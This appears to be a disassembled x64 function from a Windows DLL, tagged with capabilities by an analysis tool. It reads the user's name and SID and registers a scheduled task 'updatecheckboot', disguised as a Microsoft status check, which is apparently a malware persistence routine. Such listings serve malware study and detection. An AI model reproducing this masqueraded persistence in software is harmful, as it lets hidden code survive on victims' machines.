Function at 0x1800022f0
Capabilities:
Get common file path
Get session user name
Get user security identifier
Schedule task via itaskservice

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x748]
sub rsp, 0x820
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
movaps xmmword [rax - 0x58], xmm8
movaps xmmword [rax - 0x68], xmm9
movaps xmmword [rax - 0x78], xmm10
movaps xmmword [rax - 0x88], xmm11
mov rax, qword [0x18002d040]
xor rax, rsp
mov qword [rbp + 0x6b0], rax
xor r14d, r14d
xorps xmm0, xmm0
movups xmmword [rbp + 0x1f0], xmm0
lea ecx, [r14 + 0x30]
call fcn.180003b84
mov rdx, rax
mov qword [rsp + 0x58], rax
mov qword [rbp + 0x1f0], rax
mov qword [rbp + 0x200], 0x27
mov qword [rbp + 0x208], 0x2f
movups xmm0, xmmword [str.fjhvbsjf2837rf37wt4fg0349yfp23u9fhweugf]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x180027a60]
movups xmmword [rax + 0x10], xmm1
mov ecx, dword [0x180027a70]
mov dword [rax + 0x20], ecx
movzx eax, word [0x180027a74]
mov word [rdx + 0x24], ax
movzx eax, byte [0x180027a76]
mov byte [rdx + 0x26], al
mov byte [rdx + 0x27], r14b
mov qword [rbp + 0x190], r14
lea r9, [rbp + 0x190]
xor r8d, r8d
xor edx, edx
lea rcx, [0x18001f3f0]
call qword [sym.imp.SHELL32.dll_SHGetKnownFolderPath]
mov rdx, qword [rbp + 0x190]
lea rcx, [rbp + 0x270]
call fcn.1800034c0
nop
lea rdx, [rbp + 0x270]
lea rcx, [rbp + 0x1d0]
call fcn.180003660
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x210], xmm0
lea ecx, [r14 + 0x30]
call fcn.180003b84
mov r15, rax
mov qword [rbp + 0x210], rax
mov qword [rbp + 0x220], 0x27
mov qword [rbp + 0x228], 0x2f
movups xmm0, xmmword [str.fjhvbsjf2837rf37wt4fg0349yfp23u9fhweugf]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x180027a60]
movups xmmword [rax + 0x10], xmm1
mov ecx, dword [0x180027a70]
mov dword [rax + 0x20], ecx
movzx ecx, word [0x180027a74]
mov word [rax + 0x24], cx
movzx eax, byte [0x180027a76]
mov byte [r15 + 0x26], al
mov byte [r15 + 0x27], r14b
xorps xmm0, xmm0
movups xmmword [rbp + 0x230], xmm0
lea ecx, [r14 + 0x30]
call fcn.180003b84
mov r13, rax
mov qword [rbp + 0x230], rax
mov qword [rbp + 0x240], 0x27
mov qword [rbp + 0x248], 0x2f
movups xmm0, xmmword [str.fjhvbsjf2837rf37wt4fg0349yfp23u9fhweugf]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x180027a60]
movups xmmword [rax + 0x10], xmm1
mov ecx, dword [0x180027a70]
mov dword [rax + 0x20], ecx
movzx ecx, word [0x180027a74]
mov word [rax + 0x24], cx
movzx eax, byte [0x180027a76]
mov byte [r13 + 0x26], al
mov byte [r13 + 0x27], r14b
xorps xmm0, xmm0
movups xmmword [rbp + 0x250], xmm0
lea ecx, [r14 + 0x30]
call fcn.180003b84
mov r12, rax
mov qword [rbp + 0x250], rax
mov qword [rbp + 0x260], 0x27
mov qword [rbp + 0x268], 0x2f
movups xmm0, xmmword [str.fjhvbsjf2837rf37wt4fg0349yfp23u9fhweugf]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x180027a60]
movups xmmword [rax + 0x10], xmm1
mov ecx, dword [0x180027a70]
mov dword [rax + 0x20], ecx
movzx ecx, word [0x180027a74]
mov word [rax + 0x24], cx
movzx eax, byte [0x180027a76]
mov byte [r12 + 0x26], al
mov byte [r12 + 0x27], r14b
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitializeEx]
lea esi, [r14 + 1]
test eax, eax
js 0x1800031b6
mov qword [rsp + 0x40], r14
mov dword [rsp + 0x38], r14d
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], 3
mov dword [rsp + 0x20], 6
xor r9d, r9d
xor r8d, r8d
mov edi, 0xffffffff
mov edx, edi
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitializeSecurity]
test eax, eax
js 0x1800031af
mov qword [rbp + 0x130], r14
lea rax, [rbp + 0x130]
mov qword [rsp + 0x20], rax
lea r9, [0x18001f4e0]
mov r8d, esi
xor edx, edx
lea rcx, [0x18001f500]
call qword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x1800031af
lea rcx, [rbp - 0x10]
call qword [sym.imp.OLEAUT32.dll_VariantClear]
nop
movups xmm11, xmmword [rbp - 0x10]
movsd xmm10, qword [rbp]
lea rcx, [rbp - 0x58]
call qword [sym.imp.OLEAUT32.dll_VariantClear]
nop
movups xmm9, xmmword [rbp - 0x58]
movsd xmm8, qword [rbp - 0x48]
lea rcx, [rbp - 0x40]
call qword [sym.imp.OLEAUT32.dll_VariantClear]
nop
movups xmm7, xmmword [rbp - 0x40]
movsd xmm6, qword [rbp - 0x30]
lea rcx, [rbp - 0x28]
call qword [sym.imp.OLEAUT32.dll_VariantClear]
nop
movaps xmmword [rbp + 0xe0], xmm11
movsd qword [rbp + 0xf0], xmm10
movaps xmmword [rbp + 0xc0], xmm9
movsd qword [rbp + 0xd0], xmm8
movaps xmmword [rbp + 0xa0], xmm7
movsd qword [rbp + 0xb0], xmm6
movups xmm0, xmmword [rbp - 0x28]
movaps xmmword [rbp + 0x80], xmm0
movsd xmm1, qword [rbp - 0x18]
movsd qword [rbp + 0x90], xmm1
mov rcx, qword [rbp + 0x130]
mov rax, qword [rcx]
lea rdx, [rbp + 0xe0]
mov qword [rsp + 0x20], rdx
lea r9, [rbp + 0xc0]
lea r8, [rbp + 0xa0]
lea rdx, [rbp + 0x80]
call qword [rax + 0x50]
mov ebx, eax
lea rcx, [rbp - 0x28]
call qword [sym.imp.OLEAUT32.dll_VariantCopy]
nop
lea rcx, [rbp - 0x40]
call qword [sym.imp.OLEAUT32.dll_VariantCopy]
nop
lea rcx, [rbp - 0x58]
call qword [sym.imp.OLEAUT32.dll_VariantCopy]
nop
lea rcx, [rbp - 0x10]
call qword [sym.imp.OLEAUT32.dll_VariantCopy]
test ebx, ebx
jns 0x1800026c8
mov rcx, qword [rbp + 0x130]
jmp 0x1800031a9
mov qword [rbp + 0x128], r14
mov ecx, 0x18
call fcn.180003b84
mov rbx, rax
mov qword [rbp + 0x140], rax
test rax, rax
je 0x180002716
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rax
mov qword [rbx + 8], r14
mov dword [rbx + 0x10], esi
lea rcx, [0x180027ab0]
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov qword [rbx], rax
test rax, rax
je 0x1800032e6
jmp 0x180002719
mov rbx, r14
mov qword [rbp + 0x108], rbx
test rbx, rbx
je 0x18000334f
mov rcx, qword [rbp + 0x130]
mov rax, qword [rcx]
lea r8, [rbp + 0x128]
mov rdx, qword [rbx]
call qword [rax + 0x38]
mov r14d, eax
mov ecx, edi
lock xadd dword [rbx + 0x10], ecx
cmp ecx, 1
jne 0x180002787
mov rcx, qword [rbx]
test rcx, rcx
je 0x180002764
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov qword [rbx], 0
mov rcx, qword [rbx + 8]
test rcx, rcx
je 0x18000277a
call fcn.180003b50
mov qword [rbx + 8], 0
mov edx, 0x18
mov rcx, rbx
call fcn.180003b50
test r14d, r14d
jns 0x1800027a7
mov rcx, qword [rbp + 0x130]
mov rax, qword [rcx]
call qword [rax + 0x10]
call qword [sym.imp.ole32.dll_CoUninitialize]
xor r14d, r14d
jmp 0x1800031b6
mov ecx, 0x18
call fcn.180003b84
mov rbx, rax
mov qword [rsp + 0x50], rax
xor r14d, r14d
test rax, rax
je 0x1800027ef
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rax
mov qword [rbx + 8], r14
mov dword [rbx + 0x10], esi
lea rcx, str.updatecheckboot
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov qword [rbx], rax
test rax, rax
je 0x1800032f1
jmp 0x1800027f2
mov rbx, r14
mov qword [rbp + 0x110], rbx
test rbx, rbx
je 0x18000334f
mov rcx, qword [rbp + 0x128]
mov rax, qword [rcx]
xor r8d, r8d
mov rdx, qword [rbx]
call qword [rax + 0x78]
nop
mov eax, edi
lock xadd dword [rbx + 0x10], eax
cmp eax, 1
jne 0x180002852
mov rcx, qword [rbx]
test rcx, rcx
je 0x180002833
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov qword [rbx], r14
mov rcx, qword [rbx + 8]
test rcx, rcx
je 0x180002845
call fcn.180003b50
mov qword [rbx + 8], r14
mov edx, 0x18
mov rcx, rbx
call fcn.180003b50
mov qword [rbp + 0x120], r14
mov rcx, qword [rbp + 0x130]
mov rax, qword [rcx]
lea r8, [rbp + 0x120]
xor edx, edx
call qword [rax + 0x48]
mov ebx, eax
mov rcx, qword [rbp + 0x130]
mov rdx, qword [rcx]
call qword [rdx + 0x10]
test ebx, ebx
jns 0x18000288e
mov rcx, qword [rbp + 0x128]
jmp 0x1800031a9
mov qword [rbp + 0x150], r14
mov rcx, qword [rbp + 0x120]
mov rax, qword [rcx]
lea rdx, [rbp + 0x150]
call qword [rax + 0x38]
test eax, eax
js 0x180003195
lea rcx, str.Microsoft_Corporation
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov rcx, qword [rbp + 0x150]
mov r8, qword [rcx]
mov rdx, rax
call qword [r8 + 0x50]
mov ecx, 0x18
call fcn.180003b84
mov rbx, rax
mov qword [rsp + 0x50], rax
test rax, rax
je 0x180002914
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rax
mov qword [rbx + 8], r14
mov dword [rbx + 0x10], esi
lea rcx, str.Check_the_running_status
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov qword [rbx], rax
test rax, rax
je 0x1800032fc
jmp 0x180002917
mov rbx, r14
mov qword [rbp + 0x118], rbx
test rbx, rbx
je 0x18000334f
mov rcx, qword [rbp + 0x150]
mov rax, qword [rcx]
mov rdx, qword [rbx]
call qword [rax + 0x40]
mov r14d, eax
mov ecx, edi
lock xadd dword [rbx + 0x10], ecx
cmp ecx, 1
jne 0x18000297e
mov rcx, qword [rbx]
test rcx, rcx
je 0x18000295b
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov qword [rbx], 0
mov rcx, qword [rbx + 8]
test rcx, rcx
je 0x180002971
call fcn.180003b50
mov qword [rbx + 8], 0
mov edx, 0x18
mov rcx, rbx
call fcn.180003b50
mov rcx, qword [rbp + 0x150]
mov rax, qword [rcx]
call qword [rax + 0x10]
test r14d, r14d
jns 0x1800029b8
mov rcx, qword [rbp + 0x128]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 0x120]
mov rax, qword [rcx]
call qword [rax + 0x10]
call qword [sym.imp.ole32.dll_CoUninitialize]
xor r14d, r14d
jmp 0x1800031b6
xor r14d, r14d
mov qword [rbp + 0x188], r14
mov rcx, qword [rbp + 0x120]
mov rax, qword [rcx]
lea rdx, [rbp + 0x188]
call qword [rax + 0x78]
test eax, eax
js 0x180003195
mov rcx, qword [rbp + 0x188]
mov rax, qword [rcx]
lea edx, [r14 + 3]
call qword [rax + 0x70]
mov ebx, eax
mov rcx, qword [rbp + 0x188]
mov rdx, qword [rcx]
call qword [rdx + 0x10]
test ebx, ebx
js 0x180003195
mov qword [rbp + 0x180], r14
mov rcx, qword [rbp + 0x120]
mov rax, qword [rcx]
lea rdx, [rbp + 0x180]
call qword [rax + 0x58]
test eax, eax
js 0x180003195
mov rcx, qword [rbp + 0x180]
mov rax, qword [rcx]
mov edx, edi
call qword [rax + 0xb0]
mov ebx, eax
mov rcx, qword [rbp + 0x180]
mov rdx, qword [rcx]
call qword [rdx + 0x10]
test ebx, ebx
js 0x180003195
mov qword [rbp + 0x178], r14
mov rcx, qword [rbp + 0x120]
mov rax, qword [rcx]
lea rdx, [rbp + 0x178]
call qword [rax + 0x48]
test eax, eax
js 0x180003195
mov qword [rbp + 0x170], r14
mov rcx, qword [rbp + 0x178]
mov rax, qword [rcx]
lea r8, [rbp + 0x170]
lea edx, [r14 + 9]
call qword [rax + 0x50]
mov ebx, eax
mov rcx, qword [rbp + 0x178]
mov rdx, qword [rcx]
call qword [rdx + 0x10]
test ebx, ebx
js 0x180003195
mov qword [rbp + 0x148], r14
mov rcx, qword [rbp + 0x170]
mov rax, qword [rcx]
lea r8, [rbp + 0x148]
lea rdx, [0x18001f510]
call qword [rax]
mov ebx, eax
mov rcx, qword [rbp + 0x170]
mov rdx, qword [rcx]
call qword [rdx + 0x10]
test ebx, ebx
js 0x180003195
mov dword [rbp + 0x1a8], 0x100
lea rdx, [rbp + 0x1a8]
lea rcx, [rbp + 0x2b0]
call qword [sym.imp.ADVAPI32.dll_GetUserNameW]
test eax, eax
je 0x180002c1a
mov dword [rbp + 0x138], r14d
mov dword [rbp + 0x1a4], r14d
lea rax, [rbp + 0x1a0]
mov qword [rsp + 0x30], rax
lea rax, [rbp + 0x1a4]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x4b0]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x138]
xor r8d, r8d
lea rdx, [rbp + 0x2b0]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupAccountNameW]
mov edx, dword [rbp + 0x138]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rbx, rax
test rax, rax
je 0x180002c1a
lea rax, [rbp + 0x1a0]
mov qword [rsp + 0x30], rax
lea rax, [rbp + 0x1a4]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x4b0]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x138]
mov r8, rbx
lea rdx, [rbp + 0x2b0]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupAccountNameW]
test eax, eax
je 0x180002c11
mov qword [rbp + 0x140], r14
lea rdx, [rbp + 0x140]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_ConvertSidToStringSidW]
test eax, eax
je 0x180002c11
mov rdx, qword [rbp + 0x140]
lea rcx, [rbp + 0x290]
call fcn.1800034c0
mov rcx, qword [rbp + 0x140]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LocalFree]
movups xmm0, xmmword [rbp + 0x290]
movups xmmword [rbp + 0x1b0], xmm0
movups xmm1, xmmword [rbp + 0x2a0]
movups xmmword [rbp + 0x1c0], xmm1
jmp 0x180002c2e
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LocalFree]
lea rdx, [0x180027b24]
lea rcx, [rbp + 0x1b0]
call fcn.1800034c0
nop
cmp qword [rbp + 0x1c0], 0
jne 0x180002c6a
mov rcx, qword [rbp + 0x148]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 0x128]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 0x120]
mov rax, qword [rcx]
call qword [rax + 0x10]
call qword [sym.imp.ole32.dll_CoUninitialize]
jmp 0x180003133
lea r14, [rbp + 0x1b0]
cmp qword [rbp + 0x1c8], 7
cmova r14, qword [rbp + 0x1b0]
mov ecx, 0x18
call fcn.180003b84
mov rbx, rax
mov qword [rsp + 0x50], rax
test rax, rax
je 0x180002cc7
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rax
mov qword [rbx + 8], rax
mov dword [rbx + 0x10], esi
mov rcx, r14
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov qword [rbx], rax
test rax, rax
jne 0x180002cc9
test r14, r14
jne 0x180003307
jmp 0x180002cc9
xor ebx, ebx
mov qword [rbp + 0x78], rbx
test rbx, rbx
je 0x180003344
mov rcx, qword [rbp + 0x148]
mov rax, qword [rcx]
mov rdx, qword [rbx]
call qword [rax + 0xb8]
mov r14d, eax
mov ecx, edi
lock xadd dword [rbx + 0x10], ecx
cmp ecx, 1
jne 0x180002d30
mov rcx, qword [rbx]
test rcx, rcx
je 0x180002d0d
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov qword [rbx], 0
mov rcx, qword [rbx + 8]
test rcx, rcx
je 0x180002d23
call fcn.180003b50
mov qword [rbx + 8], 0
mov edx, 0x18
mov rcx, rbx
call fcn.180003b50
mov rcx, qword [rbp + 0x148]
mov rax, qword [rcx]
call qword [rax + 0x10]
test r14d, r14d
jns 0x180002d6a
mov rcx, qword [rbp + 0x128]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 0x120]
mov rax, qword [rcx]
call qword [rax + 0x10]
call qword [sym.imp.ole32.dll_CoUninitialize]
xor r14d, r14d
jmp 0x180003133
xor r14d, r14d
mov qword [rbp + 0x168], r14
mov rcx, qword [rbp + 0x120]
mov rax, qword [rcx]
lea rdx, [rbp + 0x168]
call qword [rax + 0x88]
test eax, eax
jns 0x180002db4
mov rcx, qword [rbp + 0x128]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 0x120]
mov rax, qword [rcx]
call qword [rax + 0x10]
call qword [sym.imp.ole32.dll_CoUninitialize]
jmp 0x180003133
mov qword [rbp + 0x160], r14
mov rcx, qword [rbp + 0x168]
mov rax, qword [rcx]
lea r8, [rbp + 0x160]
xor edx, edx
call qword [rax + 0x60]
mov ebx, eax
mov rcx, qword [rbp + 0x168]
mov rdx, qword [rcx]
call qword [rdx + 0x10]
test ebx, ebx
jns 0x180002e09
mov rcx, qword [rbp + 0x128]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 0x120]
mov rax, qword [rcx]
call qword [rax + 0x10]
call qword [sym.imp.ole32.dll_CoUninitialize]
jmp 0x180003133
mov qword [rbp + 0x158], r14
mov rcx, qword [rbp + 0x160]
mov rax, qword [rcx]
lea r8, [rbp + 0x158]
lea rdx, str.MbLk
call qword [rax]
mov ebx, eax
mov rcx, qword [rbp + 0x160]
mov rdx, qword [rcx]
call qword [rdx + 0x10]
test ebx, ebx
jns 0x180002e62
mov rcx, qword [rbp + 0x128]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 0x120]
mov rax, qword [rcx]
call qword [rax + 0x10]
call qword [sym.imp.ole32.dll_CoUninitialize]
jmp 0x180003133
lea r14, [rbp + 0x1d0]
cmp qword [rbp + 0x1e8], 7
cmova r14, qword [rbp + 0x1d0]
mov ecx, 0x18
call fcn.180003b84
mov rbx, rax
mov qword [rsp + 0x50], rax
test rax, rax
je 0x180002ebf
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rax
mov qword [rbx + 8], rax
mov dword [rbx + 0x10], esi
mov rcx, r14
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov qword [rbx], rax
test rax, rax
jne 0x180002ec1
test r14, r14
jne 0x180003312
jmp 0x180002ec1
xor ebx, ebx
mov qword [rbp + 0x70], rbx
test rbx, rbx
je 0x180003344
mov rcx, qword [rbp + 0x158]
mov rax, qword [rcx]
mov rdx, qword [rbx]
call qword [rax + 0x58]
mov r14d, eax
mov ecx, edi
lock xadd dword [rbx + 0x10], ecx
cmp ecx, 1
jne 0x180002f25
mov rcx, qword [rbx]
test rcx, rcx
je 0x180002f02
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov qword [rbx], 0
mov rcx, qword [rbx + 8]
test rcx, rcx
je 0x180002f18
call fcn.180003b50
mov qword [rbx + 8], 0
mov edx, 0x18
mov rcx, rbx
call fcn.180003b50
mov rcx, qword [rbp + 0x158]
mov rax, qword [rcx]
call qword [rax + 0x10]
test r14d, r14d
jns 0x180002f5f
mov rcx, qword [rbp + 0x128]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 0x120]
mov rax, qword [rcx]
call qword [rax + 0x10]
call qword [sym.imp.ole32.dll_CoUninitialize]
xor r14d, r14d
jmp 0x180003133
xor r14d, r14d
mov qword [rbp + 0x198], r14
mov eax, 8
mov word [rsp + 0x60], ax
lea rcx, [0x180027b24]
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov qword [rsp + 0x68], rax
test rax, rax
je 0x180003328
movups xmm9, xmmword [rsp + 0x60]
movsd xmm8, qword [rsp + 0x70]
lea rcx, [rsp + 0x78]
call qword [sym.imp.OLEAUT32.dll_VariantClear]
nop
movups xmm7, xmmword [rsp + 0x78]
movsd xmm6, qword [rbp - 0x78]
lea rcx, [rbp - 0x70]
call qword [sym.imp.OLEAUT32.dll_VariantClear]
nop
movaps xmmword [rbp + 0x50], xmm9
movsd qword [rbp + 0x60], xmm8
movaps xmmword [rbp + 0x30], xmm7
movsd qword [rbp + 0x40], xmm6
movups xmm0, xmmword [rbp - 0x70]
movaps xmmword [rbp + 0x10], xmm0
movsd xmm1, qword [rbp - 0x60]
movsd qword [rbp + 0x20], xmm1
lea ecx, [r14 + 0x18]
call fcn.180003b84
mov rbx, rax
mov qword [rsp + 0x50], rax
test rax, rax
je 0x180003026
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rax
mov qword [rbx + 8], r14
mov dword [rbx + 0x10], esi
lea rcx, str.updatecheckboot
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov qword [rbx], rax
test rax, rax
je 0x18000331d
jmp 0x180003029
mov rbx, r14
mov qword [rbp + 0x100], rbx
test rbx, rbx
je 0x180003333
mov rcx, qword [rbp + 0x128]
mov rax, qword [rcx]
lea rdx, [rbp + 0x198]
mov qword [rsp + 0x40], rdx
lea rdx, [rbp + 0x50]
mov qword [rsp + 0x38], rdx
mov dword [rsp + 0x30], 3
lea rdx, [rbp + 0x30]
mov qword [rsp + 0x28], rdx
lea rdx, [rbp + 0x10]
mov qword [rsp + 0x20], rdx
mov r9d, 6
mov r8, qword [rbp + 0x120]
mov rdx, qword [rbx]
call qword [rax + 0x88]
mov r14d, eax
lock xadd dword [rbx + 0x10], edi
cmp edi, 1
jne 0x1800030ce
mov rcx, qword [rbx]
test rcx, rcx
je 0x1800030aa
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov qword [rbx], 0
mov rcx, qword [rbx + 8]
test rcx, rcx
je 0x1800030c0
call fcn.180003b50
mov qword [rbx + 8], 0
mov edx, 0x18
mov rcx, rbx
call fcn.180003b50
nop
lea rcx, [rbp - 0x70]
call qword [sym.imp.OLEAUT32.dll_VariantCopy]
nop
lea rcx, [rsp + 0x78]
call qword [sym.imp.OLEAUT32.dll_VariantCopy]
nop
lea rcx, [rsp + 0x60]
call qword [sym.imp.OLEAUT32.dll_VariantCopy]
mov rcx, qword [rbp + 0x128]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 0x120]
mov rax, qword [rcx]
call qword [rax + 0x10]
test r14d, r14d
jns 0x18000311a
call qword [sym.imp.ole32.dll_CoUninitialize]
xor r14d, r14d
jmp 0x180003133
mov rcx, qword [rbp + 0x198]
mov rax, qword [rcx]
call qword [rax + 0x10]
call qword [sym.imp.ole32.dll_CoUninitialize]
xor r14d, r14d
mov esi, r14d
mov rdx, qword [rbp + 0x1c8]
cmp rdx, 7
jbe 0x180003179
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x1b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180003174
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000333e
call fcn.180003b50
mov qword [rbp + 0x1c0], r14
mov qword [rbp + 0x1c8], 7
mov word [rbp + 0x1b0], r14w
jmp 0x1800031b6
mov rcx, qword [rbp + 0x128]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 0x120]
mov rax, qword [rcx]
call qword [rax + 0x10]
call qword [sym.imp.ole32.dll_CoUninitialize]
nop
mov edx, 0x30
mov rcx, r12
call fcn.180003b50
nop
mov edx, 0x30
mov rcx, r13
call fcn.180003b50
nop
mov edx, 0x30
mov rcx, r15
call fcn.180003b50
nop
mov rdx, qword [rbp + 0x1e8]
cmp rdx, 7
jbe 0x180003226
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x1d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180003221
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000335a
call fcn.180003b50
movdqa xmm0, xmmword [0x180027b90]
movdqu xmmword [rbp + 0x1e0], xmm0
mov word [rbp + 0x1d0], r14w
mov rdx, qword [rbp + 0x288]
cmp rdx, 7
jbe 0x180003281
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x270]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000327b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800032e0
call fcn.180003b50
nop
mov edx, 0x30
mov rcx, qword [rsp + 0x58]
call fcn.180003b50
mov eax, esi
mov rcx, qword [rbp + 0x6b0]
xor rcx, rsp
call fcn.180003b30
lea r11, [rsp + 0x820]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.18000cb38
nop
mov ecx, 0x8007000e
call fcn.180003990
nop
mov ecx, 0x8007000e
call fcn.180003990
nop
mov ecx, 0x8007000e
call fcn.180003990
nop
mov ecx, 0x8007000e
call fcn.180003990
nop
mov ecx, 0x8007000e
call fcn.180003990
nop
mov ecx, 0x8007000e
call fcn.180003990
nop
mov ecx, 0x8007000e
call fcn.180003990
nop
mov ecx, 0x8007000e
call fcn.180003990
nop
call fcn.18000cb38
nop
mov ecx, 0x8007000e
call fcn.180003990
nop
mov ecx, 0x8007000e
call fcn.180003990
nop
call fcn.18000cb38
int3